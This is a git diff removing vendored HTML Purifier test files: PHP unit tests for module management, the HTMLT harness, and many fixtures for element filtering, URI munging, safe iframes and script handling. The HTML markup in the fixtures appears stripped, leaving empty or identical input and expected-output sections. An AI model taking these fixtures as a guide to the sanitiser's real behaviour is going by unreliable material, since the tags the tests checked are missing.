a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleHarness.php +++ /dev/null @@ -1,12 +0,0 @@ -obj = new HTMLPurifier_Strategy_Core(); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleManagerTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleManagerTest.php deleted file mode 100644 index 3c9ef572e2..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleManagerTest.php +++ /dev/null @@ -1,121 +0,0 @@ -config->set('HTML.CustomDoctype', 'Blank'); - $manager->doctypes->register('Blank'); - - $attrdef_nmtokens = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - - generate_mock_once('HTMLPurifier_AttrDef'); - $attrdef = new HTMLPurifier_AttrDefMock(); - $attrdef->returns('make', $attrdef_nmtokens); - $manager->attrTypes->set('NMTOKENS', $attrdef); - return $manager; - } - - public function test_addModule() - { - $manager = $this->createManager(); - - // ...but we add user modules - - $common_module = new HTMLPurifier_HTMLModule(); - $common_module->name = 'Common'; - $common_module->attr_collections['Common'] = array('class' => 'NMTOKENS'); - $common_module->content_sets['Flow'] = 'Block | Inline'; - $manager->addModule($common_module); - - $structural_module = new HTMLPurifier_HTMLModule(); - $structural_module->name = 'Structural'; - $structural_module->addElement('p', 'Block', 'Inline', 'Common'); - $manager->addModule($structural_module); - - $formatting_module = new HTMLPurifier_HTMLModule(); - $formatting_module->name = 'Formatting'; - $formatting_module->addElement('em', 'Inline', 'Inline', 'Common'); - $manager->addModule($formatting_module); - - $unsafe_module = new HTMLPurifier_HTMLModule(); - $unsafe_module->name = 'Unsafe'; - $unsafe_module->safe = false; - $unsafe_module->addElement('div', 'Block', 'Flow'); - $manager->addModule($unsafe_module); - - $config = HTMLPurifier_Config::createDefault(); - $config->set('HTML.Trusted', false); - $config->set('HTML.CustomDoctype', 'Blank'); - - $manager->setup($config); - - $attrdef_nmtokens = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - - $p = new HTMLPurifier_ElementDef(); - $p->attr['class'] = $attrdef_nmtokens; - $p->child = new HTMLPurifier_ChildDef_Optional(array('em', '#PCDATA')); - $p->content_model = 'em | #PCDATA'; - $p->content_model_type = 'optional'; - $p->descendants_are_inline = true; - - $em = new HTMLPurifier_ElementDef(); - $em->attr['class'] = $attrdef_nmtokens; - $em->child = new HTMLPurifier_ChildDef_Optional(array('em', '#PCDATA')); - $em->content_model = 'em | #PCDATA'; - $em->content_model_type = 'optional'; - $em->descendants_are_inline = true; - - $this->assertEqual( - array('p' => $p, 'em' => $em), - $manager->getElements() - ); - - // test trusted parameter override - - $div = new HTMLPurifier_ElementDef(); - $div->child = new HTMLPurifier_ChildDef_Optional(array('p', 'div', 'em', '#PCDATA')); - $div->content_model = 'p | div | em | #PCDATA'; - $div->content_model_type = 'optional'; - $div->descendants_are_inline = false; - - $this->assertEqual($div, $manager->getElement('div', true)); - - } - - public function testAllowedModules() - { - $manager = new HTMLPurifier_HTMLModuleManager(); - $manager->doctypes->register( - 'Fantasy Inventory 1.0', true, - array('Weapons', 'Magic') - ); - - // register these modules so it doesn't blow up - $weapons_module = new HTMLPurifier_HTMLModule(); - $weapons_module->name = 'Weapons'; - $manager->registerModule($weapons_module); - - $magic_module = new HTMLPurifier_HTMLModule(); - $magic_module->name = 'Magic'; - $manager->registerModule($magic_module); - - $config = HTMLPurifier_Config::create(array( - 'HTML.CustomDoctype' => 'Fantasy Inventory 1.0', - 'HTML.AllowedModules' => 'Weapons' - )); - $manager->setup($config); - - $this->assertTrue( isset($manager->modules['Weapons'])); - $this->assertFalse(isset($manager->modules['Magic'])); - - } - - - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleTest.php deleted file mode 100644 index e7ee0938a1..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleTest.php +++ /dev/null @@ -1,146 +0,0 @@ -addElementToContentSet('b', 'Inline'); - $this->assertIdentical($module->content_sets, array('Inline' => 'b')); - - $module->addElementToContentSet('i', 'Inline'); - $this->assertIdentical($module->content_sets, array('Inline' => 'b | i')); - - } - - public function test_addElement() - { - $module = new HTMLPurifier_HTMLModule(); - $def = $module->addElement( - 'a', 'Inline', 'Optional: #PCDATA', array('Common'), - array( - 'href' => 'URI' - ) - ); - - $module2 = new HTMLPurifier_HTMLModule(); - $def2 = new HTMLPurifier_ElementDef(); - $def2->content_model = '#PCDATA'; - $def2->content_model_type = 'optional'; - $def2->attr = array( - 'href' => 'URI', - 0 => array('Common') - ); - $module2->info['a'] = $def2; - $module2->elements = array('a'); - $module2->content_sets['Inline'] = 'a'; - - $this->assertIdentical($module, $module2); - $this->assertIdentical($def, $def2); - $this->assertReference($def, $module->info['a']); - - } - - public function test_parseContents() - { - $module = new HTMLPurifier_HTMLModule(); - - // pre-defined templates - $this->assertIdentical( - $module->parseContents('Inline'), - array('optional', 'Inline | #PCDATA') - ); - $this->assertIdentical( - $module->parseContents('Flow'), - array('optional', 'Flow | #PCDATA') - ); - $this->assertIdentical( - $module->parseContents('Empty'), - array('empty', '') - ); - - // normalization procedures - $this->assertIdentical( - $module->parseContents('optional: a'), - array('optional', 'a') - ); - $this->assertIdentical( - $module->parseContents('OPTIONAL :a'), - array('optional', 'a') - ); - $this->assertIdentical( - $module->parseContents('Optional: a'), - array('optional', 'a') - ); - - // others - $this->assertIdentical( - $module->parseContents('Optional: a | b | c'), - array('optional', 'a | b | c') - ); - - // object pass-through - generate_mock_once('HTMLPurifier_AttrDef'); - $this->assertIdentical( - $module->parseContents(new HTMLPurifier_AttrDefMock()), - array(null, null) - ); - - } - - public function test_mergeInAttrIncludes() - { - $module = new HTMLPurifier_HTMLModule(); - - $attr = array(); - $module->mergeInAttrIncludes($attr, 'Common'); - $this->assertIdentical($attr, array(0 => array('Common'))); - - $attr = array('a' => 'b'); - $module->mergeInAttrIncludes($attr, array('Common', 'Good')); - $this->assertIdentical($attr, array('a' => 'b', 0 => array('Common', 'Good'))); - - } - - public function test_addBlankElement() - { - $module = new HTMLPurifier_HTMLModule(); - $def = $module->addBlankElement('a'); - - $def2 = new HTMLPurifier_ElementDef(); - $def2->standalone = false; - - $this->assertReference($module->info['a'], $def); - $this->assertIdentical($def, $def2); - - } - - public function test_makeLookup() - { - $module = new HTMLPurifier_HTMLModule(); - - $this->assertIdentical( - $module->makeLookup('foo'), - array('foo' => true) - ); - $this->assertIdentical( - $module->makeLookup(array('foo')), - array('foo' => true) - ); - - $this->assertIdentical( - $module->makeLookup('foo', 'two'), - array('foo' => true, 'two' => true) - ); - $this->assertIdentical( - $module->makeLookup(array('foo', 'two')), - array('foo' => true, 'two' => true) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT.php deleted file mode 100644 index be0173072f..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT.php +++ /dev/null @@ -1,38 +0,0 @@ -path = $path; - parent::__construct($path); - } - - public function testHtmlt() - { - $parser = new HTMLPurifier_StringHashParser(); - $hash = $parser->parseFile($this->path); // assume parser normalizes to "\n" - if (isset($hash['SKIPIF'])) { - if (eval($hash['SKIPIF'])) return; - } - $this->config->set('Output.Newline', "\n"); - if (isset($hash['INI'])) { - // there should be a more efficient way than writing another - // ini file every time... probably means building a parser for - // ini (check out the yaml implementation we saw somewhere else) - $ini_file = $this->path . '.ini'; - file_put_contents($ini_file, $hash['INI']); - $this->config->loadIni($ini_file); - } - $expect = isset($hash['EXPECT']) ? $hash['EXPECT'] : $hash['HTML']; - if (isset($hash['ERROR'])) { - $this->expectError($hash['ERROR']); - } - $this->assertPurification(rtrim($hash['HTML']), rtrim($expect)); - if (isset($hash['INI'])) unlink($ini_file); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-preserve.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-preserve.htmlt deleted file mode 100644 index 7a573394b9..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-preserve.htmlt +++ /dev/null @@ -1,8 +0,0 @@ ---INI-- -HTML.AllowedElements = b,i,p,a -HTML.AllowedAttributes = a.href,*.id ---HTML-- -

                        Par.

                        -

                        Paragraph

                        -TextBold ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-remove.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-remove.htmlt deleted file mode 100644 index a17541b89e..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-remove.htmlt +++ /dev/null @@ -1,8 +0,0 @@ ---INI-- -HTML.AllowedElements = b,i,p,a -HTML.AllowedAttributes = a.href,*.id ---HTML-- -Not allowedRemove id too! ---EXPECT-- -Not allowedRemove id too! ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/basic.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/basic.htmlt deleted file mode 100644 index 1022bce239..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/basic.htmlt +++ /dev/null @@ -1,5 +0,0 @@ ---HTML-- -basic ---EXPECT-- -basic ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-preserve.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-preserve.htmlt deleted file mode 100644 index 45deaa262d..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-preserve.htmlt +++ /dev/null @@ -1,6 +0,0 @@ ---INI-- -HTML.ForbiddenElements = b -HTML.ForbiddenAttributes = a@href ---HTML-- -

                        foo

                        ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-remove.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-remove.htmlt deleted file mode 100644 index e540d5a7b5..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-remove.htmlt +++ /dev/null @@ -1,8 +0,0 @@ ---INI-- -HTML.ForbiddenElements = b -HTML.ForbiddenAttributes = a@href ---HTML-- -Foobar ---EXPECT-- -Foobar ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-preserve.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-preserve.htmlt deleted file mode 100644 index 85ca35d972..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-preserve.htmlt +++ /dev/null @@ -1,5 +0,0 @@ ---INI-- -CSS.AllowedProperties = color,background-color ---HTML-- -
                        red
                        ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-remove.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-remove.htmlt deleted file mode 100644 index ae108ad0a3..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-remove.htmlt +++ /dev/null @@ -1,7 +0,0 @@ ---INI-- -CSS.AllowedProperties = color,background-color ---HTML-- -
                        red
                        ---EXPECT-- -
                        red
                        ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/disable-uri.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/disable-uri.htmlt deleted file mode 100644 index edc66b54da..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/disable-uri.htmlt +++ /dev/null @@ -1,6 +0,0 @@ ---INI-- -URI.Disable = true ---HTML-- - ---EXPECT-- ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/double-youtube.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/double-youtube.htmlt deleted file mode 100644 index 2467316b32..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/double-youtube.htmlt +++ /dev/null @@ -1,6 +0,0 @@ ---INI-- -HTML.SafeObject = true -Output.FlashCompat = true ---HTML-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/empty.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/empty.htmlt deleted file mode 100644 index 233519f3d5..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/empty.htmlt +++ /dev/null @@ -1,6 +0,0 @@ ---INI-- - ---HTML-- - ---EXPECT-- ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/file-uri.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/file-uri.htmlt deleted file mode 100644 index ffe9e771fa..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/file-uri.htmlt +++ /dev/null @@ -1,5 +0,0 @@ ---INI-- -URI.AllowedSchemes = file ---HTML-- -foo ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-default.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-default.htmlt deleted file mode 100644 index da453bedf4..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-default.htmlt +++ /dev/null @@ -1,5 +0,0 @@ ---HTML-- -foobar ---EXPECT-- -foobar ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-enabled.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-enabled.htmlt deleted file mode 100644 index 7bceb3bb6c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-enabled.htmlt +++ /dev/null @@ -1,6 +0,0 @@ ---INI-- -Attr.EnableID = true ---HTML-- -foobar -Omigosh! ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-img.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-img.htmlt deleted file mode 100644 index 8ec1c6c353..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-img.htmlt +++ /dev/null @@ -1,8 +0,0 @@ ---INI-- -Attr.EnableID = true -Core.LexerImpl = DirectLex ---HTML-- -[Img #11775] ---EXPECT-- -[Img #11775] ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-name-mix.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-name-mix.htmlt deleted file mode 100644 index 4f3635544a..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-name-mix.htmlt +++ /dev/null @@ -1,11 +0,0 @@ ---INI-- -Attr.EnableID = true ---HTML-- -Test -Test2 -Test3 ---EXPECT-- -Test -Test2 -Test3 ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-list-loop.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-list-loop.htmlt deleted file mode 100644 index 7707122613..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-list-loop.htmlt +++ /dev/null @@ -1,5 +0,0 @@ ---HTML-- -
                          ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-wraps-block.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-wraps-block.htmlt deleted file mode 100644 index 689cdc5978..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-wraps-block.htmlt +++ /dev/null @@ -1,5 +0,0 @@ ---HTML-- -

                          Foobar

                          ---EXPECT-- -

                          Foobar

                          ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/li-disabled.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/li-disabled.htmlt deleted file mode 100644 index fc533f8177..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/li-disabled.htmlt +++ /dev/null @@ -1,7 +0,0 @@ -ERROR: Cannot allow ul/ol without allowing li ---INI-- -HTML.AllowedElements = ul ---HTML-- -
                          • foo
                          ---EXPECT-- ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/list-nesting.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/list-nesting.htmlt deleted file mode 100644 index c085e874d9..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/list-nesting.htmlt +++ /dev/null @@ -1,7 +0,0 @@ ---INI-- -Core.LexerImpl = DirectLex ---HTML-- -
                          • Sublist 1
                            • Bullet
                          • Sublist 2
                            1. Billet
                          ---EXPECT-- -
                          • Sublist 1
                            • Bullet
                          • Sublist 2
                            1. Billet
                          ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge-extra.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge-extra.htmlt deleted file mode 100644 index f08f3ffac9..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge-extra.htmlt +++ /dev/null @@ -1,13 +0,0 @@ ---SKIPIF-- -return !function_exists('hash_hmac'); ---INI-- -URI.Munge = "/redirect?s=%s&t=%t&r=%r&n=%n&m=%m&p=%p" -URI.MungeSecretKey = "foo" -URI.MungeResources = true ---HTML-- -Link -example.com ---EXPECT-- -Link -example.com ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge.htmlt deleted file mode 100644 index a74e37a0f9..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge.htmlt +++ /dev/null @@ -1,52 +0,0 @@ ---INI-- -URI.Munge = "/r/%s" -URI.AllowedSchemes = http,ftp,file ---HTML-- -foo -foo -foo -foo -foo - -foo -foo -foo -foo -foo - -foo -foo -foo -foo -foo - -foo -foo -foo -foo -foo ---EXPECT-- -foo -foo -foo -foo -foo - -foo -foo -foo -foo -foo - -foo -foo -foo -foo -foo - -foo -foo -foo -foo -foo ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/name.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/name.htmlt deleted file mode 100644 index 577710b374..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/name.htmlt +++ /dev/null @@ -1,6 +0,0 @@ ---INI-- -Attr.EnableID = true -HTML.Doctype = "XHTML 1.0 Strict" ---HTML-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-googlemaps.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-googlemaps.htmlt deleted file mode 100644 index b17fab90f4..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-googlemaps.htmlt +++ /dev/null @@ -1,8 +0,0 @@ ---INI-- -HTML.SafeIframe = true -URI.SafeIframeRegexp = "%^http://maps.google.com/%" ---HTML-- - ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-invalid.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-invalid.htmlt deleted file mode 100644 index d4e5e12fb5..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-invalid.htmlt +++ /dev/null @@ -1,7 +0,0 @@ ---INI-- -HTML.SafeIframe = true ---HTML-- - ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-youtube.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-youtube.htmlt deleted file mode 100644 index a9f68398c2..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-youtube.htmlt +++ /dev/null @@ -1,8 +0,0 @@ ---INI-- -HTML.SafeIframe = true -URI.SafeIframeRegexp = "%^http://www.youtube.com/embed/%" ---HTML-- - ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe.htmlt deleted file mode 100644 index de2b60656f..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe.htmlt +++ /dev/null @@ -1,14 +0,0 @@ ---INI-- -HTML.SafeIframe = true -URI.SafeIframeRegexp = "%(^http://www.example.com/|^https?://dev.example.com/)%" ---HTML-- - - - - ---EXPECT-- - - - - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed-munge.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed-munge.htmlt deleted file mode 100644 index 552c0d7305..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed-munge.htmlt +++ /dev/null @@ -1,12 +0,0 @@ ---SKIPIF-- -return !function_exists('hash_hmac'); ---INI-- -HTML.SafeObject = true -HTML.SafeEmbed = true -URI.Munge = "/redirect.php?url=%s&check=%t" -URI.MungeSecretKey = "foo" ---HTML-- - ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed.htmlt deleted file mode 100644 index 8bd7e7f621..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed.htmlt +++ /dev/null @@ -1,8 +0,0 @@ ---INI-- -HTML.SafeObject = true -HTML.SafeEmbed = true ---HTML-- - ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-bare.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-bare.htmlt deleted file mode 100644 index 4fe726294c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-bare.htmlt +++ /dev/null @@ -1,9 +0,0 @@ ---INI-- -HTML.Trusted = true ---HTML-- - ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-cdata.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-cdata.htmlt deleted file mode 100644 index 6eed9951a1..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-cdata.htmlt +++ /dev/null @@ -1,11 +0,0 @@ ---INI-- -HTML.Trusted = true ---HTML-- - ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-comment.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-comment.htmlt deleted file mode 100644 index 1c0911e737..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-comment.htmlt +++ /dev/null @@ -1,11 +0,0 @@ ---INI-- -HTML.Trusted = true ---HTML-- - ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-dbl-comment.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-dbl-comment.htmlt deleted file mode 100644 index 4a15926193..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-dbl-comment.htmlt +++ /dev/null @@ -1,11 +0,0 @@ ---INI-- -HTML.Trusted = true ---HTML-- - ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-ideal.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-ideal.htmlt deleted file mode 100644 index afeab56300..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-ideal.htmlt +++ /dev/null @@ -1,11 +0,0 @@ ---INI-- -HTML.Trusted = true ---HTML-- - ---EXPECT-- - ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/secure-munge.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/secure-munge.htmlt deleted file mode 100644 index 77018eb788..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/secure-munge.htmlt +++ /dev/null @@ -1,12 +0,0 @@ ---SKIPIF-- -return !function_exists('hash_hmac'); ---INI-- -URI.Munge = "/redirect.php?url=%s&check=%t" -URI.MungeSecretKey = "foo" ---HTML-- -foo -local ---EXPECT-- -foo -local ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-preserve-yen.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-preserve-yen.htmlt deleted file mode 100644 index 61ff929e9f..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-preserve-yen.htmlt +++ /dev/null @@ -1,8 +0,0 @@ ---SKIPIF-- -if (!HTMLPurifier_Encoder::iconvAvailable()) return true; ---INI-- -Core.Encoding = "Shift_JIS" -Core.EscapeNonASCIICharacters = true ---HTML-- -111 ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-remove-yen.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-remove-yen.htmlt deleted file mode 100644 index e55afe4eeb..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-remove-yen.htmlt +++ /dev/null @@ -1,9 +0,0 @@ ---SKIPIF-- -if (!HTMLPurifier_Encoder::iconvAvailable()) return true; ---INI-- -Core.Encoding = Shift_JIS ---HTML-- -111 ---EXPECT-- -111 ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote-with-inline.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote-with-inline.htmlt deleted file mode 100644 index 423f1a7f75..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote-with-inline.htmlt +++ /dev/null @@ -1,7 +0,0 @@ ---INI-- -HTML.Doctype = "XHTML 1.0 Strict" ---HTML-- -
                          Illegal contents
                          ---EXPECT-- -

                          Illegal contents

                          ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote.htmlt deleted file mode 100644 index 5221a89b2f..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote.htmlt +++ /dev/null @@ -1,7 +0,0 @@ ---INI-- -HTML.Strict = true ---HTML-- -
                          Illegal contents
                          ---EXPECT-- -

                          Illegal contents

